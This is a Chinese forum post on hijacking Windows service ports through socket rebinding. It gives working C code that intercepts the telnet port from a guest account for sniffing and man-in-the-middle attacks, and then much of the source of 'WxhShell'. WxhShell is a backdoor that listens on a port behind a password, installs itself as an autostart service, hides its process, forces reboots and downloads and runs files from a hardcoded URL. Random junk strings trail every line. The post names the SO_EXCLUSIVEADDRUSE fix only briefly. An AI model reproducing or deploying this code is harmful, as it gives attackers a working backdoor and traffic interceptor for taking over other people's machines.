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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZC N}iQu4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1ysfpX{=  
TP rq:"K  
  saddr.sin_family = AF_INET; NX& dJ 6a  
He(65ciT<O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Jy)=TJ!y  
w'K7$F51  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CefFUqo4  
TQ]gvi |m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +@QrGY  
gx.\H3y  
  这意味着什么?意味着可以进行如下的攻击: In1W/ ?  
;OlnIxH(W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1'qXT{f/~  
~.: { Ik]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :C*}Yg  
]E-/}Ysz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^OKm (  
?6CLUu|7n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w7Yu} JY^  
KL'1)G"OH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o8R_ Ojh  
itYoR-XJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Voo'ZeZa  
nQ\`]_C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E7L>5z  
^2~ZOP$A  
  #include p AOKy  
  #include YB"gLv?  
  #include !T,<p    
  #include    I?'*vAW<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _ LHbP=B  
  int main() "z{/*uM2<  
  { @P7'MiP]K  
  WORD wVersionRequested; (%X *b.n=  
  DWORD ret; 1kvX#h&V  
  WSADATA wsaData; FOQ-KP\ =,  
  BOOL val; 5-X$"Z|@  
  SOCKADDR_IN saddr; }|Qh+{H*.  
  SOCKADDR_IN scaddr; 46=E- Tq  
  int err; rWTaCU^qV  
  SOCKET s; \p(S4?I7  
  SOCKET sc; !, BJO3&  
  int caddsize; _<(xjWp 8  
  HANDLE mt; 2nyK'k  
  DWORD tid;   G<?RH"RZr  
  wVersionRequested = MAKEWORD( 2, 2 ); peVY2\1>R  
  err = WSAStartup( wVersionRequested, &wsaData ); cg8/v:B  
  if ( err != 0 ) { n+8YTjd  
  printf("error!WSAStartup failed!\n"); 1Vy8eI`4  
  return -1; LO_Xr j  
  } uVqc:Q"  
  saddr.sin_family = AF_INET; jlBsm'M<m  
   M7/5e3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NCKR<!(  
j\>&]0-Iq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ".>#Qp%  
  saddr.sin_port = htons(23); BQ6$T&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p6- //0qb  
  { gX{j$]^6G8  
  printf("error!socket failed!\n"); Q#%LIkeq  
  return -1; SSI> +A  
  } b$'%)\('g  
  val = TRUE; 5;XC!Gz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %$&eC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?ES{t4"  
  { jwk+&S  
  printf("error!setsockopt failed!\n"); q]="ek&_  
  return -1; E:9RskI  
  } DghyE`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >&.N_,*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w~+*Vd~U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D+!T5)>(  
K}cZK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &>c=/]Lop  
  { 7**zb"#y  
  ret=GetLastError(); j0L%jz  
  printf("error!bind failed!\n"); &b@_ah+f  
  return -1; Q,.dIPla  
  } @wXYza0|d  
  listen(s,2); ":eyf 3M  
  while(1) I;XM4a  
  { XO;_F"H=  
  caddsize = sizeof(scaddr); `lY-/Ty  
  //接受连接请求 =_OJ 7K'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z"< S$sDh  
  if(sc!=INVALID_SOCKET) pss')YP.  
  { 4m\Cc_:jO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @lzq`SzM  
  if(mt==NULL) 1jx?zvE,  
  { OFo hyy(  
  printf("Thread Creat Failed!\n"); $~8gh>`]  
  break; CZzt=9  
  } dU-:#QV6  
  } QHv]7&^rlj  
  CloseHandle(mt); qg j;E=7  
  } Z%?>H iy'o  
  closesocket(s); GNW$:=0u  
  WSACleanup(); y0 vo-Q  
  return 0; w8+ phN(-M  
  }   d*u3]&?x&f  
  DWORD WINAPI ClientThread(LPVOID lpParam) %;wD B2k*  
  { z/j*zU `  
  SOCKET ss = (SOCKET)lpParam; /*g0M2+OZo  
  SOCKET sc; `V/kM0A5  
  unsigned char buf[4096]; x<t ?Yc9  
  SOCKADDR_IN saddr; 67/@J)z0%  
  long num; PdKcDKJ  
  DWORD val; 6U).vg<  
  DWORD ret; c:=HN-*vQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 R UCUEo63  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =?CIC%6m  
  saddr.sin_family = AF_INET; .P8m%$'N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k'X"jon  
  saddr.sin_port = htons(23); xRZ K&vkKE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5#z7Hj&w  
  { ~p+ `pwjY1  
  printf("error!socket failed!\n"); $m)eO8S+  
  return -1; qW3XA$g|j'  
  } +^J&x>5  
  val = 100; `_DA!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \HD:#a  
  { 6oWFjeZ0  
  ret = GetLastError(); |s#,^SJ0  
  return -1; t^bh2 $J  
  } 2L<1]:I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,wr5DQ  
  { ZHRMW'Ne  
  ret = GetLastError(); 3Q&@l49q  
  return -1; z>W?\[E<2  
  } /?>W\bP<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f3;[ZS  
  { -R9{Ak  
  printf("error!socket connect failed!\n"); W^W.* ?e`  
  closesocket(sc); ,H|K3nh  
  closesocket(ss); (;Bh7Ft  
  return -1; VaonG]Ues  
  } >xRUw5jN  
  while(1) V%*91t_  
  { _or_Vw!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,A#gF_8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uKY1AC__  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iQ;lvOja  
  num = recv(ss,buf,4096,0); >z3l@  
  if(num>0) 6d5q<C_3t  
  send(sc,buf,num,0); [+@T"2h2b  
  else if(num==0) [:izej(\  
  break; F.Bij8\  
  num = recv(sc,buf,4096,0); h1Y^+A_  
  if(num>0) aYtW!+#  
  send(ss,buf,num,0); >TGc0 z+  
  else if(num==0) 8XCT[X  
  break; D7IhNWrgj  
  } RdjoVCf  
  closesocket(ss); iYW<qgz  
  closesocket(sc); ?:5/4YC  
  return 0 ; nh+h3"-d  
  } dF&@q,  
eOb)uIF  
9<5S!?JL  
========================================================== &W*^&0AV  
C40o_1g  
下边附上一个代码,,WXhSHELL <sls1,  
6>z,7 [  
========================================================== kG`&Z9P  
JgBC:t^\pV  
#include "stdafx.h" +9B .}t#  
2;0eW&e   
#include <stdio.h> 6?;z\ AP&  
#include <string.h> aYDo0?kF'  
#include <windows.h> ?^W1WEBm  
#include <winsock2.h> xiDgQTDz  
#include <winsvc.h> P=_fYA3  
#include <urlmon.h> E&eY79  
gu+zfvkcY  
#pragma comment (lib, "Ws2_32.lib") Qd{8.lB~LQ  
#pragma comment (lib, "urlmon.lib") 0Qq<h;8xEc  
D:f=Z?L)>  
#define MAX_USER   100 // 最大客户端连接数 >7zC-3  
#define BUF_SOCK   200 // sock buffer R+Hu?Dv&F  
#define KEY_BUFF   255 // 输入 buffer p{^:b6  
E5n7 <  
#define REBOOT     0   // 重启 4@@Sh`E:  
#define SHUTDOWN   1   // 关机 cQj`W *  
a+cMXMf  
#define DEF_PORT   5000 // 监听端口 `xLsD}32  
C6;2Dd]"N  
#define REG_LEN     16   // 注册表键长度 |NZi2Bu  
#define SVC_LEN     80   // NT服务名长度 FfJ;r'eGs  
0vm>*M*p  
// 从dll定义API  n?EgC8b9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iH }-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #y:D{%Wp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &L+uu',M0c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C96/   
:"%/u9<A  
// wxhshell配置信息 c[h~=0UtJ  
struct WSCFG { 4zoQe>v~  
  int ws_port;         // 监听端口 nKx)R^]k  
  char ws_passstr[REG_LEN]; // 口令 R;< q<i_l  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZVjB$-do  
  char ws_regname[REG_LEN]; // 注册表键名 }v ZOPTP  
  char ws_svcname[REG_LEN]; // 服务名 Su#0 F0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 / F0q8j0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @>2pY_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b($hp%+yJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H1bR+2s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }3(!kW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ={BD*= i  
y4^u&0}0$  
}; 5ya9VZ5#  
9K+> ;`  
// default Wxhshell configuration hG1:E:}  
struct WSCFG wscfg={DEF_PORT, jI-a+LnEm  
    "xuhuanlingzhe", :Jd7q.  
    1, /fI}QY1  
    "Wxhshell", .~]|gg~  
    "Wxhshell", <:S qMf  
            "WxhShell Service", $RD~,<oEm  
    "Wrsky Windows CmdShell Service",  384n1?  
    "Please Input Your Password: ", R N$vKJk  
  1, f}:C~L!  
  "http://www.wrsky.com/wxhshell.exe", j}+3+ 8D  
  "Wxhshell.exe" ;+Jx,{ )  
    }; >*-%:ub  
l]*RiK2AC  
// 消息定义模块 =*\s`ox`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ho\1[xS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `ecseBn3d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aKI"<%PNn  
char *msg_ws_ext="\n\rExit."; "Y&I#&$b\  
char *msg_ws_end="\n\rQuit."; I7ao2aS  
char *msg_ws_boot="\n\rReboot..."; DX_ mrG  
char *msg_ws_poff="\n\rShutdown..."; 3?93Pj3oPt  
char *msg_ws_down="\n\rSave to ";  o E+'@  
!>`Q]M`  
char *msg_ws_err="\n\rErr!"; GBJL B  
char *msg_ws_ok="\n\rOK!"; iq&3S0  
k/K)nH@)  
char ExeFile[MAX_PATH]; egoR])2>  
int nUser = 0; EGu%;[  
HANDLE handles[MAX_USER]; E_,/)U8  
int OsIsNt; k8gH#ENNK  
J Enjc/  
SERVICE_STATUS       serviceStatus; J)|3jbX"I]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eg[EFI.h  
yD9enYM  
// 函数声明 bt}8ymcG  
int Install(void); 4I4m4^  
int Uninstall(void); DUOoTl p  
int DownloadFile(char *sURL, SOCKET wsh); @|gG3  
int Boot(int flag); }x'*3zI  
void HideProc(void); +){^HC\7h  
int GetOsVer(void); o}N@Q-i gq  
int Wxhshell(SOCKET wsl); L%/RD2L D  
void TalkWithClient(void *cs); Q'<AV1<  
int CmdShell(SOCKET sock); a&s34Pd  
int StartFromService(void); +gl\l?>sr  
int StartWxhshell(LPSTR lpCmdLine); ~Ntk -p  
\@Wv{0a(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .f~9IAXP`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); } z'Jsy[s  
axQ>~v WN/  
// 数据结构和表定义 %i9S"  
SERVICE_TABLE_ENTRY DispatchTable[] = (HNc9QVC'W  
{ Fa("Gok[  
{wscfg.ws_svcname, NTServiceMain}, AR| 4^  
{NULL, NULL} ]\yIHdcDi  
}; Tm %5:/<8  
9o@3$  
// 自我安装 ]E9iaq6Z  
int Install(void) d) -(C1f  
{ tU4#7b:Y  
  char svExeFile[MAX_PATH]; Ez1eGPVr  
  HKEY key; ,%pCcM)  
  strcpy(svExeFile,ExeFile); 8h] TI_  
_c>iux;  
// 如果是win9x系统,修改注册表设为自启动 eMGJx"a  
if(!OsIsNt) { >}SEU-7&\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  AG(6.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !vz'zy)7  
  RegCloseKey(key); 7L~ *%j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~WA@YjQ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TXImmkC  
  RegCloseKey(key); b++r#Q g  
  return 0; D]~K-[V?l  
    } lZk  z\  
  } %A zy#m  
} Ts!'>_<Je  
else { (~~m8VJ>  
bQ*yXJ^8  
// 如果是NT以上系统,安装为系统服务 >LBA0ynh {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fe\lSGmf  
if (schSCManager!=0) dIC\U  
{ u^MKqI  
  SC_HANDLE schService = CreateService \[9VeqMU  
  ( H-_gd.VD  
  schSCManager, gWj-@o\  
  wscfg.ws_svcname, jE0oLEg&  
  wscfg.ws_svcdisp, 3Gs\Q{O:  
  SERVICE_ALL_ACCESS, N R c4*zQJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +Tum K.  
  SERVICE_AUTO_START, ` GF w?G  
  SERVICE_ERROR_NORMAL, rbvk.:"^w  
  svExeFile, xs= ~N  
  NULL, JM7mQ'`Ud  
  NULL, *'((_ NZ>  
  NULL, =Jm[1Mgt  
  NULL, 0F[ f%2j  
  NULL /+*"*Br/  
  ); ,YD7p= PY  
  if (schService!=0) ^hLr9k   
  { V 20h\(\\  
  CloseServiceHandle(schService); bZxN]6_  
  CloseServiceHandle(schSCManager); kj6:P$tH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R"W}\0k  
  strcat(svExeFile,wscfg.ws_svcname); wnS,Jl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4aO/^Hl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D4VDWv  
  RegCloseKey(key); @7 Ry{,A  
  return 0; ACyK#5E  
    } \_Bj"K  
  } %]+R>+  
  CloseServiceHandle(schSCManager); $a_y-lY  
} "BQnP9  
} f~VlCdf+  
` aVp#  
return 1; zu d_BOq{f  
} kY)Vr3uGA  
<Kt_ oxK,  
// 自我卸载 nH#>_R (  
int Uninstall(void) /3,/j)`a  
{ :a}](Wn  
  HKEY key; (%6fMVp  
7P1Pk?pxy  
if(!OsIsNt) { /2p*uv }IP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UF+Qx/4h0  
  RegDeleteValue(key,wscfg.ws_regname); x3y+=aj  
  RegCloseKey(key); httywa^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &J 3QO%  
  RegDeleteValue(key,wscfg.ws_regname); wtS*-;W  
  RegCloseKey(key); DhE-g<  
  return 0; ^8 VW$}  
  } ~P|;Y<?3  
} 4p"'ox#  
} neFwxS?  
else { >ai,6!  
flCT]ZR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pwFdfp  
if (schSCManager!=0) @1*^ttC  
{ *D|a`R!Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NzT &K7v  
  if (schService!=0) w5>[hQR\  
  { YYQvt  
  if(DeleteService(schService)!=0) { P<vl+&*  
  CloseServiceHandle(schService); WZ-~F/:c%  
  CloseServiceHandle(schSCManager); cQEUHhRg!  
  return 0; cC-8.2  
  } 72, m c  
  CloseServiceHandle(schService); U<'N=#A J  
  } T<n`i~~  
  CloseServiceHandle(schSCManager); $9G& wH>{  
} O h@z<1eYZ  
}  I0mp[6  
:SaZhY  
return 1; Wep^He\:  
} ^("b~-cJ  
,[;O'g?,g  
// 从指定url下载文件 %M96 m   
int DownloadFile(char *sURL, SOCKET wsh) =E2 a#Vd  
{ $9YQ aN%  
  HRESULT hr; H@(O{ 9Yl;  
char seps[]= "/"; ~9]vd|  
char *token; TdPd8ig8{  
char *file; naR<  
char myURL[MAX_PATH]; *tv&=  
char myFILE[MAX_PATH]; y_9\07va<  
ZS.=GjK  
strcpy(myURL,sURL); af|h4.A  
  token=strtok(myURL,seps); ~|"Vl<9  
  while(token!=NULL) tl_3 %$s  
  { MnD}i&k[  
    file=token; H8YwMhE7  
  token=strtok(NULL,seps); atZe`0  
  } l9 \W=-'  
li[[AAWVm  
GetCurrentDirectory(MAX_PATH,myFILE); y hKH} kR  
strcat(myFILE, "\\"); 1i#y>fUj  
strcat(myFILE, file); XHA|v^  
  send(wsh,myFILE,strlen(myFILE),0); fnX[R2KZ  
send(wsh,"...",3,0); %1 )c{7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \lg ^rfj  
  if(hr==S_OK) u4hn9**a1  
return 0; 45 ^ Z5t  
else W/UA%We3+L  
return 1; N5K(yY_T  
*Hx*s_F  
} Gbhw7 (&  
<Z.`X7]Uk  
// 系统电源模块 wnC-~&+6  
int Boot(int flag) 7@"X?uo%o  
{ ,6]ID1o:y  
  HANDLE hToken; hr]+ 4!/  
  TOKEN_PRIVILEGES tkp; v9 \n=Z  
9<3(  QR  
  if(OsIsNt) { 6],?Y+_;)L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "3VX9{'%@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M IIa8 ;  
    tkp.PrivilegeCount = 1; hwM<0Jf   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J3y _JoS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rd&d~R6  
if(flag==REBOOT) { b#@xg L*D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P?q HzNGi7  
  return 0; ~U w<e~  
} X_'tgP9  
else { :uAL(3pQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6)sKg{H  
  return 0; c9c]1XJ  
} IwYfs]-  
  }  @N '_qu  
  else { 7W}%ralkg  
if(flag==REBOOT) { !r.-7hR$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o`,}b1lh  
  return 0; 8/p ]'BLf  
} o;wSG81  
else { TNh&g.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,W+=N"`a'  
  return 0; kj2qX9 Ms  
} waz5+l28  
} j8Mt"B  
<`-sS]=d}  
return 1; [&~x5l 8\C  
} ag8)^p'9  
YCP D+  
// win9x进程隐藏模块 Ib{#dhV  
void HideProc(void) \x$`/  
{ 'O 7:=l  
5f_x.~ymA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WyV,(~y  
  if ( hKernel != NULL ) X)(K|[  
  { P;(@"gD8z5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3R$R?^G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vD2(M1Q  
    FreeLibrary(hKernel); @Wd (>*"zw  
  } _Cf:\Xs m  
&!;o[joG  
return; Q2oo\  
} f3,LX]zKA  
D$KP>G  
// 获取操作系统版本 QDJ#zMxFD  
int GetOsVer(void) x_8sV?F  
{ oGZuYpa9  
  OSVERSIONINFO winfo; sBWyUD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [< 9%IGH  
  GetVersionEx(&winfo); b!MN QGs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KBi(Ns#+  
  return 1; zGme}z;1@  
  else j+fF$6po#t  
  return 0; Xa-TNnws?  
} !iHC++D  
(-1{W^(  
// 客户端句柄模块 4TQmEM,  
int Wxhshell(SOCKET wsl) 5`}za-  
{ [[w-~hHH-  
  SOCKET wsh; xIc||o$  
  struct sockaddr_in client; TSJeS`I  
  DWORD myID; X?ZLmP7|  
|ggtb\W  
  while(nUser<MAX_USER) VNz? e&>  
{ hb0)<^xu  
  int nSize=sizeof(client); i,;a( Sy4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 67H?xsk@n  
  if(wsh==INVALID_SOCKET) return 1; D@5h$ m5  
ZLVgK@l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8t< X  
if(handles[nUser]==0) 55`p~:&VQ  
  closesocket(wsh);  $AZ=;iP-  
else usKP9[T$  
  nUser++; SH"<f_  
  } $\k)Y(&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5D-as9k*  
x~m$(LT  
  return 0; '9qyf<MlY  
} lpB:lRM  
%WP[V{,F  
// 关闭 socket uARkf'  
void CloseIt(SOCKET wsh) $6ucz'  
{ ^K8XY@{&  
closesocket(wsh); 5KTFf6Uq  
nUser--; @yQ1F> t  
ExitThread(0); l  ~xXy<  
} TZn5s~t  
DqI"B  
// 客户端请求句柄 xIb{*)BUwc  
void TalkWithClient(void *cs) ]A\qI>,  
{ S,,Wb &A$  
TR `C|TV>  
  SOCKET wsh=(SOCKET)cs; V'za,.d-  
  char pwd[SVC_LEN]; W<O/LHKHdn  
  char cmd[KEY_BUFF]; 9)[)0 7  
char chr[1]; 5>H&0> \  
int i,j; wT3D9N.  
0>;[EFL  
  while (nUser < MAX_USER) { *.A-UoHa  
$QT% -9&  
if(wscfg.ws_passstr) { VY|U B7,C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); juu"V]Q 1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zT!.5qd  
  //ZeroMemory(pwd,KEY_BUFF); U(~Nmo'  
      i=0; OB+cE4$  
  while(i<SVC_LEN) { P $r!u%W  
KZ=5"a  
  // 设置超时 n"~K",~P  
  fd_set FdRead; }`2+`w%uZ  
  struct timeval TimeOut; ]g%HU%R-m  
  FD_ZERO(&FdRead); .7Pp'-hK  
  FD_SET(wsh,&FdRead); XCez5Q1  
  TimeOut.tv_sec=8; ;s4e8![o3  
  TimeOut.tv_usec=0; or)fx/%h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hPKutx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :efDPNm5  
h-m0Ro?6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 11!4#z6w  
  pwd=chr[0]; ~X;sa,)L1+  
  if(chr[0]==0xd || chr[0]==0xa) { ,6A/| K-  
  pwd=0; Idj Z2)$  
  break; UU#$Kt*frR  
  } JvJ)}d$,&  
  i++; # ?u bvSdU  
    } #TgP:t]p  
X&i" K'mV  
  // 如果是非法用户,关闭 socket COH.`Tv{*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "/hLZl  
} *@YQr]~ ;  
Xi=4S[.4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #yCnM]cEn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wA87|YK8*  
:mdoGb$ dr  
while(1) { 0.wN&:I8t  
g(F2IpUm/  
  ZeroMemory(cmd,KEY_BUFF); Ds8x9v)^  
"(a}}q 9-  
      // 自动支持客户端 telnet标准   /DSy/p0%  
  j=0;  sJ_3tjs)  
  while(j<KEY_BUFF) { d%1 Vby  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Q|Y*yI  
  cmd[j]=chr[0]; r6+IJxUd  
  if(chr[0]==0xa || chr[0]==0xd) { Q0""wR q'  
  cmd[j]=0; 9H%ixBnM  
  break; q(5  
  } tqU8>d0^  
  j++; H|cxy?iJ  
    } ~HBx5Cpi  
\@7 4I7  
  // 下载文件 c{/KkmI  
  if(strstr(cmd,"http://")) { mZ#IP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2\[ Q{T=Qe  
  if(DownloadFile(cmd,wsh)) /5:qS\Zl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mgBxcmv  
  else 9sB LCZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,j[1!*Z_[  
  } M3q7{w*bM  
  else { o@|kq1m8  
ze#ncnMo  
    switch(cmd[0]) { V8z*mnD  
  mP ^*nB@,  
  // 帮助 S)A;!}RK6  
  case '?': { 2{)<Df@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n,|YJ,v[  
    break; FVoKNaK-  
  } vg[zRWh8  
  // 安装 +PHuQ  
  case 'i': { g7]g0*gxXW  
    if(Install()) 2}#VB;B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9h^TOZK)  
    else :J6FI6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :N:e3$c  
    break; ltmD=-]G_  
    } ]\J(  
  // 卸载 yI$Mq R  
  case 'r': { KKJa?e`C  
    if(Uninstall()) >tV:QP]Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m\J" P'=  
    else [[8h*[:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *|/kKvN  
    break; >4AwjS }H  
    } (:J U  
  // 显示 wxhshell 所在路径 z%WOv ~8~  
  case 'p': { { :_qa|  
    char svExeFile[MAX_PATH]; m:5bb 3  
    strcpy(svExeFile,"\n\r"); /Oa.@53tK6  
      strcat(svExeFile,ExeFile); \W})Z72  
        send(wsh,svExeFile,strlen(svExeFile),0); azp XE  
    break; ~1.~4~um  
    } M9sB2Ips<  
  // 重启 H6-{(: *<  
  case 'b': { *Ja,3Qq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ty"=3AvRLV  
    if(Boot(REBOOT)) ou'|e"tI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 82Nw 6om6i  
    else { 38(|a5  
    closesocket(wsh); ogKd}qTov  
    ExitThread(0); fsVr<m  
    } +jz%:D  
    break; f%TP>)jag!  
